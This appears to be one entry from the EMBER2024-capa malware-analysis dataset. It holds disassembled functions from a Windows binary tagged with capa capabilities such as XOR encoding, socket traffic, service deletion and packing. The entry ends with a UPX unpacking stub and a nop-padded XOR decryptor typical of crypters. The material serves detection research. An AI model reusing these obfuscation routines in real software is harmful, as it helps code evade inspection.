joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404a73
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov al, byte [0x449d70]
sub esp, 0x14
push ebx
push esi
push edi
cmp al, 1
jne 0x404a22
xor eax, eax
xor ecx, ecx
cpuid
lea esi, [esp + 0x10]
mov dword [esi], eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
mov eax, 1
mov dword [esi + 0xc], edx
cmp dword [esp + 0x10], eax
jl 0x404a07
xor ecx, ecx
cpuid
mov dword [esi], eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
test dword [esp + 0x18], 0x200
je 0x404a07
mov byte [0x449d70], 2
jmp 0x404a26
mov byte [0x449d70], 0
mov esi, dword [ebp + 0x10]
movzx eax, byte [esi + 0x30]
dec eax
cmp eax, 6
ja case.0x404a1b.2
jmp dword [eax*4 + 0x404b94]
test al, al
je 0x404a0e
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push eax
push ecx
push edx
call fcn.00404bb0
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esp + 0xc], 0x444e1c
jmp 0x404a7b
mov dword [esp + 0xc], 0x444e58
jmp 0x404a7b
mov dword [esp + 0xc], 0x444e94
jmp 0x404a7b
mov dword [esp + 0xc], 0x444ed0
jmp 0x404a7b
mov dword [esp + 0xc], 0x444f0c
jmp 0x404a7b
mov dword [esp + 0xc], 0x444de0
mov al, byte [esi + 0x31]
test al, al
je 0x404aaf
movzx ecx, al
mov eax, 8
sub eax, ecx
je 0x404aaf
mov edi, dword [ebp + 8]
dec eax
cmp dword [ebp + 0xc], 0
je 0x404aa9
movzx edx, byte [esi + 0x31]
mov cl, byte [edi]
mov byte [edx + esi + 0x20], cl
inc byte [esi + 0x31]
inc edi
dec dword [ebp + 0xc]
test eax, eax
jne 0x404a91
jmp 0x404ab2
mov edi, dword [ebp + 8]
cmp byte [esi + 0x31], 8
jne 0x404ae3
mov eax, dword [esi + 0x24]
xor dword [esi + 0x2c], eax
mov edx, dword [esi + 0x20]
mov ecx, dword [esi + 0x2c]
xor dword [esi + 0x28], edx
mov edx, dword [esi + 0x28]
mov eax, dword [esp + 0xc]
push ecx
push edx
push esi
call fcn.004034e0
add esp, 0xc
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], edx
mov byte [esi + 0x31], 0
mov ebx, dword [ebp + 0xc]
shr ebx, 3
test ebx, ebx
je 0x404b1c
lea ecx, [ecx]
mov eax, dword [edi]
xor dword [esi + 0x28], eax
mov ecx, dword [edi + 4]
xor dword [esi + 0x2c], ecx
mov edx, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
push edx
push eax
mov eax, dword [esp + 0x14]
push esi
add edi, 8
call fcn.004034e0
add esp, 0xc
dec ebx
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], edx
jne 0x404af0
mov edx, dword [ebp + 0xc]
and edx, 7
jbe 0x404b45
cmp byte [esi + 0x31], 0
jne 0x404b45
xor cl, cl
mov byte [esi + 0x31], dl
test edx, edx
je 0x404b45
xor eax, eax
mov bl, byte [eax + edi]
inc cl
mov byte [eax + esi + 0x20], bl
movzx eax, cl
cmp eax, edx
jb 0x404b35
mov dl, byte [esi + 0x31]
mov eax, dword [esi + 0x28]
mov ecx, dword [esi + 0x2c]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
test dl, dl
je 0x404b8b
xor ecx, ecx
test dl, dl
je 0x404b74
movzx eax, dl
mov dl, byte [esi + ecx + 0x20]
xor byte [esp + ecx + 0x10], dl
inc ecx
cmp ecx, eax
jb 0x404b63
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
push ecx
push eax
mov eax, dword [esp + 0x14]
push esi
call fcn.004034e0
mov dword [esp + 0x20], edx
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40adf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ebx
push esi
sub ecx, eax
push edi
sub edx, eax
mov esi, 8
mov edi, dword [ecx + eax]
mov ebx, dword [ecx + eax + 4]
xor edi, dword [eax]
xor ebx, dword [eax + 4]
mov dword [edx + eax], edi
mov dword [edx + eax + 4], ebx
add eax, 8
dec esi
jne 0x40ae06
mov ebx, dword [ebp + 0xc]
mov edi, ebx
sub edi, dword [ebp + 8]
mov esi, 0x43c860
mov dword [ebp - 4], 0xc
mov eax, dword [ebp + 8]
call fcn.0040af40
mov eax, ebx
mov ecx, 8
mov edx, dword [esi]
xor dword [eax], edx
mov edx, dword [esi + 4]
xor dword [eax + 4], edx
add esi, 8
add eax, 8
dec ecx
jne 0x40ae42
mov eax, ebx
call fcn.0040af40
mov eax, dword [ebp + 8]
mov ecx, 8
mov edx, dword [edi + eax]
xor dword [eax], edx
mov edx, dword [edi + eax + 4]
xor dword [eax + 4], edx
add eax, 8
dec ecx
jne 0x40ae64
dec dword [ebp - 4]
jne 0x40ae33
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40ae90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push esi
mov esi, eax
lea edx, [ebp - 0x8c]
sub ecx, esi
push edi
sub edx, esi
mov dword [ebp - 8], 8
nop
mov edi, dword [ecx + eax]
mov ebx, dword [ecx + eax + 4]
xor edi, dword [eax]
xor ebx, dword [eax + 4]
mov dword [edx + eax], edi
mov dword [edx + eax + 4], ebx
add eax, 8
dec dword [ebp - 8]
jne 0x40aeb0
lea eax, [ebp - 0x8c]
call fcn.0040af40
mov edi, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x4c]
push ecx
mov eax, edi
call fcn.0040adf0
lea eax, [ebp - 0x4c]
mov edx, eax
mov ecx, esi
add esp, 8
sub ecx, edx
mov edx, 8
mov esi, dword [ecx + eax]
xor dword [eax], esi
mov esi, dword [ecx + eax + 4]
xor dword [eax + 4], esi
add eax, 8
dec edx
jne 0x40aef6
lea eax, [ebp - 0x4c]
mov esi, eax
mov edx, edi
sub edx, esi
mov esi, 8
mov edi, dword [edx + eax]
mov ebx, dword [edx + eax + 4]
xor edi, dword [eax]
xor ebx, dword [eax + 4]
mov dword [eax + ecx], edi
mov dword [eax + ecx + 4], ebx
add eax, 8
dec esi
jne 0x40af16
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40e130
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0042a650
mov eax, dword [0x448d60]
xor eax, ebp
mov dword [ebp - 8], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x1000
lea eax, [ebp - 0x1008]
push eax
call fcn.0042e1e4
add esp, 0x10
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1008]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0042a637
mov esp, ebp
pop ebp
ret

Function at 0x40e190
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x4523b8], 0
jne 0x40e1b1
push str.ContinentTLS
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov dword [0x4523b8], eax
cmp dword [0x4523b8], 0
je 0x40e22e
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0x18]
mov dword [ebp - 8], edx
cmp dword [ebp + 0x10], 0
jne 0x40e1db
mov dword [ebp - 0x14], 0
jmp 0x40e1ff
cmp dword [ebp + 0x14], 0
jne 0x40e1ea
mov dword [ebp - 0x18], 1
jmp 0x40e1f9
xor eax, eax
cmp dword [ebp + 0x18], 0
setne al
add eax, 2
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov dx, word [ebp - 0x14]
mov word [ebp - 4], dx
push 0
lea eax, [ebp - 0x10]
push eax
push 0
movzx ecx, word [ebp - 4]
push ecx
push 0
mov edx, dword [ebp + 0xc]
push edx
push 0
movzx eax, word [ebp + 8]
push eax
mov ecx, dword [0x4523b8]
push ecx
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
mov esp, ebp
pop ebp
ret
Function at 0x40ec50
Capabilities:
Encrypt data via sspi
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x448d60]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x18]
mov ecx, dword [eax]
add ecx, dword [ebp + 0x20]
mov edx, dword [ebp + 0x18]
add ecx, dword [edx + 4]
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 8]
cmp ecx, dword [eax]
jle 0x40ece4
mov edx, dword [ebp + 0x10]
cmp dword [edx], 0
je 0x40eca5
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push ecx
push 0
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call fcn.0042adc0
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 8], 0xfff
jge 0x40ecb5
mov dword [ebp - 8], 0xfff
mov eax, dword [ebp - 8]
add eax, 1
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x40ecd4
xor eax, eax
jmp 0x40edc5
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x4c]
mov dword [ecx], edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov dword [ebp - 0x38], 7
mov edx, dword [ebp + 0x18]
mov eax, dword [edx]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x2c], 1
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ebp + 0x18]
add ecx, dword [edx]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp + 0x20]
push eax
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.0042a7e0
add esp, 0xc
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 6
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 4
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x40], ecx
push 0
lea edx, [ebp - 0x48]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
call sub.Secur32.dll_EncryptMessage
test eax, eax
je 0x40ed8f
push 0x1ae
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0x436c94
call fcn.0040e130
add esp, 0xc
xor eax, eax
jmp 0x40edc5
mov ecx, dword [ebp - 0x3c]
add ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jle 0x40edc0
push 0
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, dword [ebp - 4]
je 0x40edc0
xor eax, eax
jmp 0x40edc5
mov eax, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0042a637
mov esp, ebp
pop ebp
ret
Function at 0x40ede0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 8], 0
jne 0x40edf1
or eax, 0xffffffff
jmp 0x40ee37
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40ee09
mov eax, dword [ebp - 8]
jmp 0x40ee37
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40ee28
mov edx, dword [ebp - 4]
movsx eax, word [edx + 8]
cmp eax, 2
je 0x40ee2d
or eax, 0xffffffff
jmp 0x40ee37
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
mov eax, dword [eax]
mov esp, ebp
pop ebp
ret

Function at 0x40ee40
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1120
call fcn.0042a650
mov eax, dword [0x448d60]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x1120], 0
jmp 0x40ee8a
mov eax, dword [ebp - 0x1120]
add eax, 1
mov dword [ebp - 0x1120], eax
mov ecx, dword [ebp - 0x1120]
cmp ecx, dword [ebp - 0x118]
jae 0x40eeae
mov edx, dword [ebp - 0x1120]
mov eax, dword [ebp + edx*4 - 0x114]
cmp eax, dword [ebp + 8]
jne 0x40eeac
jmp 0x40eeae
jmp 0x40ee7b
mov ecx, dword [ebp - 0x1120]
cmp ecx, dword [ebp - 0x118]
jne 0x40eee4
cmp dword [ebp - 0x118], 0x40
jae 0x40eee4
mov edx, dword [ebp - 0x1120]
mov eax, dword [ebp + 8]
mov dword [ebp + edx*4 - 0x114], eax
mov ecx, dword [ebp - 0x118]
add ecx, 1
mov dword [ebp - 0x118], ecx
xor edx, edx
jne 0x40ee6f
lea eax, [ebp - 8]
push eax
push 0
push 0
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp + 8]
add edx, 1
push edx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jge 0x40ef0b
jmp 0x40ef39
push 0
push 0x1000
lea eax, [ebp - 0x1118]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x111c], eax
cmp dword [ebp - 0x111c], 1
jge 0x40ef34
jmp 0x40ef39
jmp 0x40ee57
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0042a637
mov esp, ebp
pop ebp
ret
Function at 0x417f60
Capabilities:
Delete registry key
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x448d60]
xor eax, ebp
mov dword [ebp - 0x10], eax
push str.ContinentTLS:_uninstall_..._n
call fcn.0040e130
add esp, 4
mov eax, dword [0x452380]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x417fa1
push 0x4393fc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e240
add esp, 8
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x417fcf
push str.OpenSCManager
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e240
add esp, 8
jmp 0x4180a3
push 0x10020
push str.ContinentTLS
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x418005
push str.OpenService
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e240
add esp, 8
jmp 0x4180a3
lea edx, [ebp - 0x2c]
push edx
push 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x418039
push 0x439424
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e240
add esp, 8
jmp 0x4180a3
push 0
push 0
push str.ContinentTLS
push 0x65
push 4
call fcn.0040e190
add esp, 0x14
mov dword [ebp - 8], 0
lea edx, [ebp - 8]
push edx
push 0x10000
push 0
push str.SYSTEMCurrentControlSetServicesEventLogApplication
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41808d
push str.ContinentTLS
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042a637
mov esp, ebp
pop ebp
ret
Function at 0x41a490
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
mov ecx, dword [ebp + 0xc]
mov dword [ecx], 0
mov dword [ebp - 8], 0xffffffff
push 0
push 0x80
push 3
push 0
push 3
push closesocket
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x41a59d
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x41a593
cmp dword [ebp - 0xc], 0
jl 0x41a593
jg 0x41a504
cmp dword [ebp - 0x10], 0
jb 0x41a593
cmp dword [ebp - 0xc], 0
jg 0x41a593
jl 0x41a516
cmp dword [ebp - 0x10], 0xffffffff
ja 0x41a593
mov edx, dword [ebp - 0x10]
or edx, dword [ebp - 0xc]
jne 0x41a527
mov dword [ebp - 0x1c], 0
jmp 0x41a53c
mov eax, dword [ebp - 0x10]
push eax
call fcn.0042d4d8
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x1c]
mov dword [edx], eax
mov ecx, dword [ebp + 0xc]
cmp dword [ecx], 0
je 0x41a57b
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41a579
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
mov dword [ebp - 8], 0
jmp 0x41a593
mov eax, dword [ebp - 0x10]
or eax, dword [ebp - 0xc]
jne 0x41a58c
mov dword [ebp - 8], 0
jmp 0x41a593
mov dword [ebp - 8], 0xe
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], 0xffffffff
jne 0x41a5b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41a5b9
mov dword [ebp - 8], 1
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x41b927
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call dword [sym.imp.WS2_32.dll_recv]
ret 8

Function at 0x41b93d
Capabilities:
Send data
Send data on socket

Disassembly:
push 0
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call dword [sym.imp.WS2_32.dll_send]
ret 8

Function at 0x41f314
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
xor edx, edx
mov edi, eax
mov eax, dword [esp + 0x10]
xor esi, esi
add eax, edx
mov cl, byte [edi + esi]
mov bl, byte [edi + esi + 4]
shr bl, 4
xor bl, cl
and bl, 0xf
xor bl, cl
mov byte [eax], bl
mov cl, byte [edi + esi]
mov bl, byte [edi + esi + 4]
shl cl, 4
and bl, 0xf
xor cl, bl
mov byte [eax + 8], cl
inc esi
add eax, 0x10
cmp esi, 4
jl 0x41f323
inc edx
add edi, 8
cmp edx, 8
jl 0x41f31b
pop edi
pop esi
pop ebx
ret
Function at 0x42a637
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x448d60]
jne 0x42a641
repz ret
jmp fcn.0042e201

Function at 0x4347d0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x448d60]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00430510
and dword [ebp - 0x14], 0
cmp dword [0x4537f8], 0
mov dword [ebp - 0x18], eax
jne 0x434883
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x43492b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x43492b
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4537f8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4537fc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x453800], eax
call edi
push eax
call esi
mov dword [0x453808], eax
test eax, eax
je 0x434883
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x453804], eax
mov eax, dword [0x453804]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4348dc
cmp dword [0x453808], ecx
je 0x4348dc
push eax
call esi
push dword [0x453808]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4348dc
test ebx, ebx
je 0x4348dc
call edi
test eax, eax
je 0x4348d3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4348d3
test byte [ebp - 8], 1
jne 0x4348dc
or dword [ebp + 0x10], 0x200000
jmp 0x43490f
mov eax, dword [0x4537fc]
cmp eax, dword [ebp - 0x18]
je 0x43490f
push eax
call esi
test eax, eax
je 0x43490f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x43490f
mov eax, dword [0x453800]
cmp eax, dword [ebp - 0x18]
je 0x43490f
push eax
call esi
test eax, eax
je 0x43490f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4537f8]
call esi
test eax, eax
je 0x43492b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x43492d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042a637
leave
ret
Function at 0x4bb1f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x86000]
mov dword [edi + 0x9b4dc], 0x918378d4
push edi
jmp 0x4bb21a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4bb221
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb210
mov eax, 1
add ebx, ebx
jne 0x4bb233
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4bb244
jne 0x4bb263
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb263
dec eax
add ebx, ebx
jne 0x4bb250
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4bb228
add ebx, ebx
jne 0x4bb25f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4bb2b5
xor ecx, ecx
sub eax, 3
jb 0x4bb27b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4bb2ea
sar eax, 1
mov ebp, eax
jmp 0x4bb286
add ebx, ebx
jne 0x4bb286
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb254
inc ecx
add ebx, ebx
jne 0x4bb294
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb254
add ebx, ebx
jne 0x4bb2a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4bb296
jne 0x4bb2b2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4bb296
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4bb2d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4bb2c6
jmp 0x4bb216
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4bb2d4
add edi, ecx
jmp 0x4bb216
pop esi
mov edi, esi
mov ecx, 0x3a9c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4bb2f2
cmp byte [edi], 0x11
jne 0x4bb2f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4bb2f7
lea edi, [esi + 0xb8000]
mov eax, dword [edi]
or eax, eax
je 0x4bb366
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xce570]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xce610]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4bb324
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xce614]
or eax, eax
je 0x4bb360
mov dword [ebx], eax
add ebx, 4
jmp 0x4bb341
call dword [esi + 0xce624]
mov ebp, dword [esi + 0xce618]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x247]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4bb39a
sub esp, 0xffffff80
jmp 0x434c56
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x432072
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x5cfc666a
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..tls
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x44776b59
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219